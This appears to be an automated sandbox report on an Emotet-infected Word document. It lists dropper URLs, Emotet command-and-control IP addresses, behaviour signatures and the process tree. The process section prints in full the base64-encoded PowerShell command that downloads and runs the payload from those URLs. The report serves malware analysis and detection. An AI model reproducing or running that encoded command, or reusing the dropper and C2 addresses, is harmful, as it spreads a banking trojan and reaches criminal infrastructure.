Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    78s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29/09/2020, 11:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_436730605ea5778074d11883f5ade96ea5af66e7acb281438b36aa3ec0680de7_2020-09-29__113951507421._doc.doc
  • Size 141KB
  • Sample200929-v13p4jrmfs
  • SHA256 436730605ea5778074d11883f5ade96ea5af66e7acb281438b36aa3ec0680de7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://shop.mtcss.co.uk/wp-admin/USQFPj/
  • exe.dropper

    https://handfinger.com/wp-includes/iCY/
  • exe.dropper

    http://hanulmotors.com/nbqso/8Tz/
  • exe.dropper

    http://helpinghands4needy.org/wp-content/LgrI9g/
  • exe.dropper

    http://www.ecobaratocanaria.com/wordpress/Jt/
  • exe.dropper

    http://macerindia.com/wp-content/hRS/
  • exe.dropper

    http://cfn.tvstartup.com/wp-content/7dNH1LI/

Extracted

Family

  • emotet

C2

  • 38.18.235.242:80

  • 5.196.108.189:8080

  • 121.124.124.40:7080

  • 104.236.246.93:8080

  • 113.61.66.94:80

  • 120.150.60.189:80

  • 91.211.88.52:7080

  • 47.144.21.12:443

  • 108.46.29.236:80

  • 139.162.108.71:8080

  • 134.209.36.254:8080

  • 139.59.60.244:8080

  • 66.65.136.14:80

  • 76.175.162.101:80

  • 174.106.122.139:80

  • 95.213.236.64:8080

  • 174.45.13.118:80

  • 50.35.17.13:80

  • 209.141.54.221:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_436730605ea5778074d11883f5ade96ea5af66e7acb281438b36aa3ec0680de7_2020-09-29__113951507421._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1620
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABBAHEAMwBxAGkAOABqAD0AKAAnAE4AJwArACgAJwBlACcAKwAnAHgAaABoACcAKQArACcAbQA1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAUgBwAHIAbwBGAGkAbABFAFwAWgBxAHgANAAxAHIAUABcAE8AbgBGAG8ARwBhADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAYABSAEkAdAB5AHAAUgBgAE8AYABUAG8AQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAnACsAJwAxADIALAAgAHQAbABzADEAJwApACsAJwAxACwAJwArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEoAOQBnAF8AYQBkAGsAIAA9ACAAKAAnAEUAMAAnACsAKAAnAGoAbgAnACsAJwB3ACcAKQArACcAeQAzACcAKQA7ACQASgB6AGcANABfADAAXwA9ACgAJwBCAG4AJwArACgAJwBfAHYAbAA2ACcAKwAnAGgAJwApACkAOwAkAE0ANQAwADMAZgBlAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcARQBZACcAKwAnAEIAJwArACgAJwBaAHEAeAAnACsAJwA0ADEAcgAnACsAJwBwACcAKQArACgAJwBFAFkAJwArACcAQgBPAG4AZgBvAGcAJwArACcAYQA4ACcAKwAnAEUAWQAnACkAKwAnAEIAJwApAC4AIgBSAGAAZQBQAEwAYQBjAGUAIgAoACgAJwBFACcAKwAnAFkAQgAnACkALAAnAFwAJwApACkAKwAkAEoAOQBnAF8AYQBkAGsAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABFAHEAawB2ADUAaQBjAD0AKAAoACcATgAzACcAKwAnAGoAJwApACsAKAAnAGgAMgB0ACcAKwAnAGcAJwApACkAOwAkAEIAcgA5AGkAagBoAHkAPQAmACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAYwBsAEkAZQBOAHQAOwAkAEkANgBrAGEAZgBuAGwAPQAoACcAaAB0ACcAKwAnAHQAJwArACgAJwBwACcAKwAnAHMAOgAnACsAJwAvAC8AcwAnACsAJwBoAG8AcAAuAG0AdABjAHMAcwAuAGMAbwAnACsAJwAuACcAKQArACcAdQAnACsAKAAnAGsALwAnACsAJwB3ACcAKQArACgAJwBwAC0AYQBkACcAKwAnAG0AJwArACcAaQBuAC8AVQBTACcAKwAnAFEARgAnACkAKwAnAFAAagAnACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAnACsAJwAvAGgAJwApACsAKAAnAGEAbgBkAGYAJwArACcAaQAnACkAKwAoACcAbgBnAGUAcgAuACcAKwAnAGMAJwApACsAJwBvACcAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGkAJwArACcAbgBjAGwAJwApACsAKAAnAHUAJwArACcAZABlAHMALwBpAEMAJwArACcAWQAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvACcAKwAnAC8AaABhAG4AdQAnACkAKwAnAGwAJwArACgAJwBtAG8AJwArACcAdABvAHIAJwApACsAJwBzACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAG4AYgBxACcAKwAnAHMAJwApACsAKAAnAG8ALwA4ACcAKwAnAFQAJwApACsAKAAnAHoAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvAGgAZQAnACkAKwAoACcAbABwAGkAJwArACcAbgBnAGgAYQBuAGQAJwArACcAcwA0AG4AJwArACcAZQBlACcAKwAnAGQAJwApACsAKAAnAHkALgBvACcAKwAnAHIAZwAnACkAKwAoACcALwB3ACcAKwAnAHAALQBjAG8AbgAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAnACkAKwAoACcALwBMAGcAcgAnACsAJwBJADkAJwArACcAZwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAdwAnACkAKwAoACcAdwB3AC4AJwArACcAZQBjAG8AJwArACcAYgBhAHIAYQB0AG8AJwArACcAYwBhAG4AYQByAGkAJwArACcAYQAuAGMAbwBtACcAKQArACcALwAnACsAJwB3AG8AJwArACcAcgBkACcAKwAoACcAcAAnACsAJwByAGUAcwBzAC8AJwApACsAKAAnAEoAdAAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAG0AYQAnACsAJwBjAGUAcgBpAG4AJwApACsAJwBkACcAKwAnAGkAYQAnACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAALQBjAG8AbgAnACsAJwB0AGUAbgB0ACcAKQArACcALwAnACsAJwBoACcAKwAnAFIAJwArACgAJwBTAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBjAGYAJwArACcAbgAuACcAKQArACgAJwB0AHYAcwAnACsAJwB0AGEAcgB0ACcAKwAnAHUAcAAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQBjAG8AbgB0ACcAKwAnAGUAbgB0AC8ANwAnACsAJwBkAE4ASAAxAEwAJwArACcASQAvACcAKQApAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAMgBjAHQAMQBxAGkAPQAoACgAJwBFAGsAJwArACcAZwA1ACcAKQArACgAJwBtAGoAJwArACcAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcQBuAGoANABqAHIAIABpAG4AIAAkAEkANgBrAGEAZgBuAGwAKQB7AHQAcgB5AHsAJABCAHIAOQBpAGoAaAB5AC4AIgBEAE8AYAB3AG4ATABvAGAAQQBEAGYAaQBgAGwARQAiACgAJABNAHEAbgBqADQAagByACwAIAAkAE0ANQAwADMAZgBlAG0AKQA7ACQAVABoAGcAZwBvAGgAaAA9ACgAJwBRACcAKwAoACcAOQBrAGgAJwArACcAMQAzACcAKQArACcAdwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQA1ADAAMwBmAGUAbQApAC4AIgBsAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMAAyADMANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABNADUAMAAzAGYAZQBtACkAOwAkAFEAOAB2ADQAeQBuADIAPQAoACgAJwBUAHAAdABjACcAKwAnAGkAJwApACsAJwA4AGoAJwApADsAYgByAGUAYQBrADsAJABZAHEAdQBtAGEAMAByAD0AKAAnAFgANwAnACsAKAAnADQAJwArACcAZwBhADYAJwApACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB5AHoAbQByAHQAZAA9ACgAJwBMACcAKwAoACcAMAB4ACcAKwAnADMAeQBkACcAKwAnAHAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Users\Admin\Zqx41rp\Onfoga8\E0jnwy3.exe
      "C:\Users\Admin\Zqx41rp\Onfoga8\E0jnwy3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1036
      • C:\Windows\SysWOW64\msvcp60\KBDINBE2.exe
        "C:\Windows\SysWOW64\msvcp60\KBDINBE2.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:688

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1036-18-0x0000000000030000-0x0000000000040000-memory.dmp
        Download

        memory/1036-17-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/1524-12-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1524-8-0x000007FEE9E90000-0x000007FEEA87C000-memory.dmp
        Download

        memory/1524-11-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/1524-10-0x000000001AD40000-0x000000001AD41000-memory.dmp
        Download

        memory/1524-13-0x000000001B5F0000-0x000000001B5F1000-memory.dmp
        Download

        memory/1524-14-0x000000001B850000-0x000000001B851000-memory.dmp
        Download

        memory/1524-9-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1620-2-0x0000000008800000-0x0000000008804000-memory.dmp
        Download

        memory/1620-7-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/1620-6-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/1620-5-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/1620-4-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/1620-3-0x0000000006D70000-0x0000000006F70000-memory.dmp
        Download

        memory/1928-24-0x000007FEF8510000-0x000007FEF878A000-memory.dmp
        Download